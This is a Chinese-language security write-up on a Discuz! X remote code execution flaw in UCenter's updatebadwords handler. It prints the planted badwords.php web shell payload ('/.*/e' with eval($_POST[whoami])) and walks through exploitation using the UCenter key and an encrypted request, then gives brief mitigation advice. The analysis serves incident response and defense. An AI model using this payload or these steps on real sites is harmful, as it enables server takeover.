一、漏洞起源
突然有同事反饋,無法注冊

看到這里不了解的同行估計一年懵逼,這里也是常用的漏洞攻擊,可以肯定的是 badwords.php文件被修改了 ,可以查看這個文件內容
<?php
$_CACHE['badwords'] = array (
'findpattern' =>
array (
'balabala' => '/.*/e',
),
'replace' =>
array (
'balabala' => 'eval($_POST[whoami]);',
),
);
果然這里被篡改了
這個文件路徑在:uc_client/data/cache/badwords.php
正常的文件內容為
<?php $_CACHE['badwords'] = array ( );
首先需要做的是把這個文件改回來,然后堵住漏洞
二、漏洞根源
這個問題的根源在於api/uc.php文件中的updatebadwords方法,代碼如下:
function updatebadwords($get, $post) {
global $_G;
if(!API_UPDATEBADWORDS) {
return API_RETURN_FORBIDDEN;
}
$data = array();
if(is_array($post)) {
foreach($post as $k => $v) {
$data['findpattern'][$k] = $v['findpattern'];
$data['replace'][$k] = $v['replacement'];
}
}
$cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
$fp = fopen($cachefile, 'w');
$s = "
badwords用的地方比較少,主要集中在uc的pm和user模塊中。
這里用user來舉例,在uc_client/model/user.php文件中有一個check_usernamecensor方法,來校驗用戶名中是否有badwords,如果有的話就將他替換掉,代碼如下:
function check_usernamecensor($username) {
$_CACHE['badwords'] = $this->base->cache('badwords');
$censorusername = $this->base->get_setting('censorusername');
$censorusername = $censorusername['censorusername'];
$censorexp = '/^('.str_replace(array('\\*', "\r\n", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
$usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
return FALSE;
} else {
return TRUE;
}
}
可以看到代碼中使用了preg_replace,那么如果我們的正則表達式寫成“/.*/e",就可以在使用這個方法的地方進行任意代碼執行了。而這個方法在disucz中,只要是添加或者修改用戶名的地方都會用到。
三、漏洞利用
首先我們們訪問api/uc.php,之后我們會發現uc處理機制中比較討厭的環節——用戶傳遞的參數需要經過UC_KEY加密:
if(!defined('IN_UC')) {
require_once '../source/class/class_core.php';
$discuz = C::app();
$discuz->init();
require DISCUZ_ROOT.'./config/config_ucenter.php';
$get = $post = array();
$code = @$_GET['code'];
parse_str(authcode($code, 'DECODE', UC_KEY), $get);
所以這里需要有個前提,需要知道UC_KEY或者可以操控UC_KEY。那么問題來了,我們要怎么達到這個前提呢?
我們在后台中站長->UCenter設置中發現有“UCenter 通信密鑰”這個字段,這是用於操控discuz和uc連接的app key,而非高級的uc_server key,不過對於我們getshell來說足夠了。在這里修改為任意值,這樣我們就獲取到了加密用的key值了。

可以看下配置文件,秘鑰已經發生變化
文件路徑為:config/config_ucenter.php

然后我們在自己搭建的discuz的api/uc.php文件中添加兩行代碼,來加密get請求所需要的內容:
$a = 'time='.time().'&action=updatebadwords'; $code = authcode($a, 'ENCODE', 'R5vcQ374u2C2W6K7V7r9u1T7P6f9F5o2ObW6x1X0OeY7bfv5Mag4Yb6bf658D0d5'); echo $code; exit;

然后用post方法向api/uc.php發送帶有正則表達式信息的xml數據包,請求頭中有兩個地方需要注意,一個是formhash,一個是剛才獲取的code需要進行一次url編碼
發送后可以發現uc_client/data/cache目錄下的badwords.php內容就變了:
<?php
$_CACHE['badwords'] = array (
'findpattern' =>
array (
'balabala' => '/.*/e',
),
'replace' =>
array (
'balabala' => 'eval($_POST[whoami]);',
),
);
之后利用方法就有很多種了,可以通過增加一個用戶來實現代碼執行,也可以通過發消息的方式來觸發,或者用戶注冊
四、總結
漏洞小結
1、影響范圍個人評價為“高”,Discuz! X系列使用范圍極廣
2、這個漏洞不只是單純的后台代碼執行,在uc_app key泄露的情況下也是可以利用的
防護方案
限制用戶提交正則表達式的內容

不允許這用就對了
